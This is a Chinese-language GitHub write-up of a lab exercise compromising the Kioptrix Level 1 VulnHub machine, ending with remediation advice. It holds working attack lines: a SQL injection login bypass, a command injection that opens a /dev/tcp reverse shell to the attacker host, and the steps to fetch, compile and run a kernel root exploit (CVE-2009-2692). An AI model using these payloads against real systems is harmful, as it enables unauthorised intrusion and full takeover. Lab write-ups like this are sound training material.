8Prashant88/kioptrix-level1-writeup

GitHub: 8Prashant88/kioptrix-level1-writeup

一份面向新手的 Kioptrix Level 1 靶机渗透测试完整报告,详细演示了从信息收集到提权至 root 的全流程攻击链与思考过程。

Stars: 0 | Forks: 0

# Kioptrix Level 1 — 渗透测试报告 这是一份关于在隔离的家庭实验室中攻破 **Kioptrix Level 1** 漏洞机器 (VulnHub) 的完整、适合新手的详细教程。这份报告不仅仅是列出命令,而是梳理了整个**思考过程** —— 我在每个阶段寻找什么、如何发现每个漏洞,以及一个发现是如何引出下一个发现的 —— 遵循了完整的方法论:**信息收集 → 枚举 → 漏洞利用 → 权限提升 → root**。 ## 目录 1. [什么是 Kioptrix Level 1?](#what-is-kioptrix-level-1) 2. [方法论概览](#methodology-at-a-glance) 3. [实验室配置](#lab-setup) 4. [步骤 1 — 主机发现](#step-1--host-discovery) 5. [步骤 2 — 服务与操作系统枚举](#step-2--service--os-enumeration) 6. [步骤 3 — 初始访问 (Web 漏洞利用)](#step-3--initial-access--web-application-exploitation) 7. [步骤 4 — 寻找并武器化权限提升漏洞](#step-4--finding--weaponising-the-privilege-escalation-exploit-cve-2009-2692) 8. [替代路径 — Samba trans2open](#alternative-path--samba-trans2open-cve-2003-0201) 9. [攻击链总结](#attack-chain-summary) 10. [修复建议](#remediation-recommendations) 11. [我的心得体会](#what-i-learned) ## 什么是 Kioptrix Level 1? Kioptrix Level 1 是 VulnHub 上最受欢迎的新手级 boot-to-root 机器之一,被广泛用于 OSCP 的备考。目标是在仅拥有网络访问权限的情况下,从零开始获取 `root`(完全的管理控制权)。它运行着一个基于 CentOS 的旧版 Linux 系统,并包含几个过时的、被故意留下的易受攻击的服务,这使其成为学习完整渗透测试工作流程的绝佳选择。 ## 方法论概览 渗透测试中的每一步都在回答一个简单的问题,而答案决定了下一步的行动: 1. **网络上有什么?** → 找到目标的 IP。 2. **上面运行着什么?** → 枚举端口、服务和版本。 3. **其中哪些是薄弱的?** → 研究每个服务/版本的已知缺陷。 4. **我该如何潜入?** → 利用弱点建立初始立足点。 5. **我如何成为 root?** → 利用另一个弱点提升权限。 以下部分完全遵循这一推理链条。 ## 实验室配置 | 角色 | 主机 | IP | |------|------|----| | 攻击者 | Kali Linux | 192.168.1.64 | | 目标 | Kioptrix Level 1 | 192.168.1.99 | **使用的工具:** netdiscover, Nmap, searchsploit, Python HTTP server, wget, gcc, netcat。 ## 步骤 1 — 主机发现 **我要回答的问题:** *目标在网络上的哪个位置?* 在攻击任何东西之前,我需要知道它的 IP 地址。我使用 **netdiscover** 进行了基于 ARP 的扫描,它会被动/主动地监听 ARP 响应,以映射本地子网上的每台存活主机。出现了两台主机 —— 我自己的机器和一个位于 `192.168.1.99` 的未知设备,这就是目标。 ![使用 netdiscover 进行主机发现](https://static.pigsec.cn/wp-content/uploads/repos/cas/7b/7b2f5a35fc3ef10d453df2f857fecb086cf61b1759d90b9327abe62fc8f00428.png) ## 步骤 2 — 服务与操作系统枚举 **我要回答的问题:** *目标上运行着什么,它的版本有多旧?* 既然已经有了 IP,我就开始绘制它的攻击面。我运行了带有版本检测 (`-sV`) 和操作系统检测 (`-O`) 的 Nmap 扫描,因为了解**确切的软件版本**能让我随后查找已知的漏洞: ``` nmap -sV -O 192.168.1.99 ``` **关键发现:** | 端口 | 服务 | 版本 | |------|---------|---------| | 22/tcp | ssh | OpenSSH 3.9p1 (protocol 1.99) | | 80/tcp | http | Apache httpd 2.0.52 (CentOS) | | 111/tcp | rpcbind | RPC #100000 | | 443/tcp | ssl/http | Apache httpd 2.0.52 (CentOS) | | 631/tcp | ipp | CUPS 1.1 | | 3306/tcp | mysql | MySQL | **操作系统检测:** Linux kernel 2.6.9 – 2.6.30 (CentOS)。 **这告诉我:** 这里的每个版本都非常古老。Apache 2.0.52 和 OpenSSH 3.9p1 都已经有十多年的历史了,而 Linux 2.6 内核是后续本地权限提升漏洞的一个巨大危险信号。有两样东西作为最有希望的切入点引起了我的注意:**端口 80 上的 Web 服务器**(可以直接在浏览器中与之交互)和**旧版内核**(一旦我进入系统,这很可能是通向 root 的路径)。我记下了这两点,并从 Web 应用程序开始。 ![Nmap 服务和操作系统扫描](https://static.pigsec.cn/wp-content/uploads/repos/cas/f2/f2e23fc95e1ccdd22f4680bf677dbc18b1e9f077c1e2798b53e93fdd7a726353.png) ## 步骤 3 — 初始访问 — Web 应用程序漏洞利用 **我要回答的问题:** *我能把这个 Web 服务器变成一个立足点吗?* 浏览该 Web 服务器时,我发现了一个 **Remote System Administration Login** 页面。对于任何登录表单,我的第一直觉都是测试是否存在 **SQL injection** —— 这是一种将用户输入直接放入数据库查询中的缺陷。如果表单存在漏洞,我就可以让查询始终返回 true,从而在无需凭据的情况下登录。我在用户名字段中尝试了经典的身份验证绕过 payload: ``` admin' or 1=1 # ``` `'` 闭合了字符串,`or 1=1` 使条件始终为真,而 `#` 注释掉了查询的其余部分(包括密码检查)。它生效了。 ![登录表单上的 SQL injection](https://static.pigsec.cn/wp-content/uploads/repos/cas/e4/e427dbd80865c017323b15a761200b77aece1853a1860296d6d523fc99be8783.png) 在内部,我进入了一个 **Basic Administrative Web Console**,其中包含一个“Ping a Machine on the Network”功能。任何接受用户输入并似乎会运行系统命令(如 `ping`)的功能都是 **command injection** 的首选目标。我测试了是否可以将自己的命令链接到输入中,并利用它向我的攻击机启动了一个 **reverse shell**: ``` | sh -i >& /dev/tcp/192.168.1.64/4444 0>&1 ``` 前导的 `|` 管道至一个新 shell,而 `/dev/tcp/192.168.1.64/4444` 在 4444 端口上打开了反向连接回我的 Kali 机器的连接。 ![Command injection reverse shell payload](https://static.pigsec.cn/wp-content/uploads/repos/cas/f1/f1ff2b8f557218203beff4afb26d88d5407726275caa0e62b686bdd8f57f9c61.png) 我在攻击者端准备了一个监听器来接收它,这让我在目标上获得了一个低权限 shell: ``` nc -lvnp 4444 ``` ## 步骤 4 — 寻找并武器化权限提升漏洞 (CVE-2009-2692) **我要回答的问题:** *我已经以低权限用户身份进来了 —— 我该如何成为 root?* 我的 shell 是以低权限的 Web 用户身份运行的,所以我需要提权。我没有盲目猜测,而是回到了枚举阶段的一个具体线索:**Linux 2.6 kernel**。旧内核有着记录详尽的本地权限提升漏洞,因此这是最顺理成章的研究对象。 **我如何搜索漏洞:** 我使用了 **searchsploit**(Kali 上的 Exploit-DB 数据库离线副本)来寻找与该内核匹配的本地漏洞利用程序。Linux 2.6 分支受到著名的 **sock_sendpage()** 漏洞(**CVE-2009-2692**)影响,searchsploit 为指向了漏洞利用程序 **9545.c**。我使用 `-m` 将其复制到了我的工作目录: ``` searchsploit linux kernel 2.6 local # browse matching local exploits searchsploit -m linux/local/9545.c # copy exploit 9545.c locally ``` 该条目准确确认了我想要的内容:**CVE-2009-2692 / EDB-9545**,已验证,C 源码。 ![使用 searchsploit 定位漏洞利用程序](https://static.pigsec.cn/wp-content/uploads/repos/cas/fd/fdad7ccf78bb9e17e6453de1c36dee08bafbadcfc411a29862d0cd74695b9ff4.png) **我如何将漏洞利用程序传到目标上:** 该漏洞利用程序是 C 源代码,必须*在受害者机器上*编译,因此我首先通过 HTTP 从我的攻击机上进行提供,然后通过我的 reverse shell 将其下载下来,编译并运行: ``` # 在攻击者 (Kali) 上 — 托管 exploit python3 -m http.server 8000 # 在目标上 (通过 reverse shell) — 获取、编译、运行 cd /tmp wget 192.168.1.64:8000/9545.c gcc -o exploit 9545.c chmod +x exploit ./exploit whoami # => root ``` *(我遇到的一个小陷阱:模块名是 `http.server`,而不是 `httpserver` —— 直到弄清楚精确的语法之前,早期的尝试都失败了。)* 漏洞利用成功,将我从受限的 Web 用户提升为了 **root** —— 彻底攻陷了这台主机。 ![提权至 root](https://static.pigsec.cn/wp-content/uploads/repos/cas/ee/eebab3ee87b704f639e69ded55a1bed4078de2060205edc7281f16ec2897262e.png) ## 替代路径 — Samba trans2open (CVE-2003-0201) Kioptrix Level 1 出名的另一个原因是通过其老旧的 **Samba** 服务存在第二条完全不同的通向 root 的路径。旧版 Samba 2.2.x 版本容易受到 **trans2open** 缓冲区溢出(**CVE-2003-0201 / OSVDB-8306**)的影响,该漏洞可以被利用(例如通过 Metasploit 模块或公开的漏洞利用程序)以直接获取 **root shell**,而无需单独的提权步骤。 我在上面记录了 Web 应用程序 → 内核漏洞利用的路径,因为那是我实际执行的路线。了解这两条路径的存在是值得的:Samba 路线通常是最快的“预期”解决方案,而 Web + 内核漏洞利用路线则展示了更广泛的技术和推理链条。 ## 攻击链总结 从未经身份验证的网络位置开始,该目标被完全攻陷: ``` reconnaissance -> service enumeration -> web app exploitation (SQLi + command injection) -> reverse shell -> kernel privilege escalation (CVE-2009-2692) -> root ``` 每一步都由前一步的发现所驱动:开放的 Web 端口导致了 SQLi 和 command injection;而在枚举期间发现的旧内核直接指向了权限提升漏洞利用。 ## 修复建议 - **积极打补丁:** 升级 Linux kernel、Apache 和 Samba,以消除已知的 CVE(例如 CVE-2009-2692、CVE-2003-0201)。 - **修复 SQL injection:** 使用参数化查询/预编译语句;绝不要使用原始用户输入拼接构建 SQL。 - **修复 command injection:** 验证并清理所有输入,避免将用户输入传递给 shell 命令,并使用安全的 API 代替 shelling out。 - **最小权限与网络隔离:** 对管理界面进行限制和网络隔离,并尽可能以非 root 用户身份运行服务。 - **禁用未使用的服务:** 关闭不需要的端口/服务(例如旧版 RPC、CUPS、Samba)。 ## 我的心得体会 通过实践完整的攻击链,我加深了对攻击者战术、技术和程序 (TTPs) 的理解 —— 同样重要的是,加深了对连接这些要素的**推理**的理解。了解每一个发现是如何推动下一步决策的,直接增强了我的 SOC/蓝队工作:理解入侵实际上是如何展开的,能让警报分类、日志分析和威胁检测变得更加敏锐。 *作者:Prashant Sapkota。出于教育目的,在合法的隔离家庭实验室内进行。*
标签:CISA项目, CTI, Facebook API, Web报告查看器, 协议分析, 密码管理, 插件系统, 数据展示, 权限提升, 红队, 靶场_writeup